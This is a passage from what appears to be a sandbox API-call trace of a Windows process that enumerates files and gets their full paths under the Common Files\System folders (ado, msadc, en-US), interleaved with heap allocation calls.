ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d310c99, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0199.572] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0d487c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d0d487c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d0d487c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msjro.dll", cAlternateFileName="")) returned 1 [0199.572] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0d487c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d0d487c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d0d487c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msjro.dll", cAlternateFileName="")) returned 0 [0199.572] FindClose (in: hFindFile=0x10f78d0 | out: hFindFile=0x10f78d0) returned 1 [0199.573] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0199.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887968 | out: hHeap=0x2ad0000) returned 1 [0199.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0199.574] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0199.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0199.574] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\en-us")) returned 0x10 [0199.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0199.575] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0199.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0199.575] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0199.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0199.575] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0199.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0199.576] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811e0, Size=0x20) returned 0x3734160 [0199.576] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0199.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0199.577] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0199.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0199.577] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0199.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0199.578] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0199.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874a0 | out: hHeap=0x2ad0000) returned 1 [0199.578] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3734160, Size=0x40) returned 0x38874a0 [0199.578] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0199.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0199.578] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msado60.tlb")) returned 0x20 [0199.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874e8 | out: hHeap=0x2ad0000) returned 1 [0199.579] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0199.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0199.579] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0199.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874e8 | out: hHeap=0x2ad0000) returned 1 [0199.579] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0199.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0199.580] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msador28.tlb")) returned 0x20 [0199.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887650 | out: hHeap=0x2ad0000) returned 1 [0199.580] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0199.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0199.581] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0199.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0199.581] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38874a0, Size=0x64) returned 0x2a19578 [0199.581] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0199.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0199.583] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msjro.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msjro.dll")) returned 0x20 [0199.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0199.588] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\adojavas.inc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\adojavas.inc", lpFilePart=0x9bada4*="adojavas.inc") returned 0x3b [0199.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0199.588] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\adovbs.inc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\adovbs.inc", lpFilePart=0x9bada4*="adovbs.inc") returned 0x39 [0199.588] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msader15.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msader15.dll", lpFilePart=0x9bada4*="msader15.dll") returned 0x3b [0199.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0199.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0199.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0199.589] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado15.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado15.dll", lpFilePart=0x9bada4*="msado15.dll") returned 0x3a [0199.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0199.589] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado20.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado20.tlb", lpFilePart=0x9bada4*="msado20.tlb") returned 0x3a [0199.589] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado21.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado21.tlb", lpFilePart=0x9bada4*="msado21.tlb") returned 0x3a [0199.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0199.590] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0199.590] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado25.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado25.tlb", lpFilePart=0x9bada4*="msado25.tlb") returned 0x3a [0199.590] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0199.590] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado26.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado26.tlb", lpFilePart=0x9bada4*="msado26.tlb") returned 0x3a [0199.590] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado27.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado27.tlb", lpFilePart=0x9bada4*="msado27.tlb") returned 0x3a [0199.590] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0199.590] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado28.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado28.tlb", lpFilePart=0x9bada4*="msado28.tlb") returned 0x3a [0199.591] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado60.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado60.tlb", lpFilePart=0x9bada4*="msado60.tlb") returned 0x3a [0199.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0199.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0199.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0199.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0199.591] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadomd.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadomd.dll", lpFilePart=0x9bada4*="msadomd.dll") returned 0x3a [0199.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.591] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadomd28.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadomd28.tlb", lpFilePart=0x9bada4*="msadomd28.tlb") returned 0x3c [0199.592] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msador15.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msador15.dll", lpFilePart=0x9bada4*="msador15.dll") returned 0x3b [0199.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0199.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0199.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0199.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0199.592] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msador28.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msador28.tlb", lpFilePart=0x9bada4*="msador28.tlb") returned 0x3b [0199.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0199.592] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadox.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadox.dll", lpFilePart=0x9bada4*="msadox.dll") returned 0x39 [0199.593] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadox28.tlb", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadox28.tlb", lpFilePart=0x9bada4*="msadox28.tlb") returned 0x3b [0199.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0199.593] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadrh15.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadrh15.dll", lpFilePart=0x9bada4*="msadrh15.dll") returned 0x3b [0199.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0199.593] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\msjro.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\msjro.dll", lpFilePart=0x9bada4*="msjro.dll") returned 0x38 [0199.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0199.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0199.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0199.594] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbba4878a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0199.594] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbba4878a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.594] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40acf3e8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb8243800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0199.594] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40acf3e8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb8243800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0199.594] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0199.595] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0199.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8f0 | out: hHeap=0x2ad0000) returned 1 [0199.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0199.595] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\msader15.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\msader15.dll.mui", lpFilePart=0x9bada4*="msader15.dll.mui") returned 0x45 [0199.595] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbba48bb1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0199.595] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbba48bb1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.596] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b86934, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x76938d00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0199.596] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b86934, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x76938d00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0199.596] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0199.596] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files (x86)\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0199.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0199.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0199.597] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0199.597] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US\\wab32res.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\en-US\\wab32res.dll.mui", lpFilePart=0x9bada4*="wab32res.dll.mui") returned 0x41 [0199.597] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb051de, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0199.617] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb051de, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.617] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2eaa26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2eaa26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2eaa26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0199.617] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2eaa26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2eaa26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2eaa26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0199.617] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbbb05d7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0199.617] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2eaa26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2eaa26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2eaa26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93600, dwReserved0=0x9bac8c, 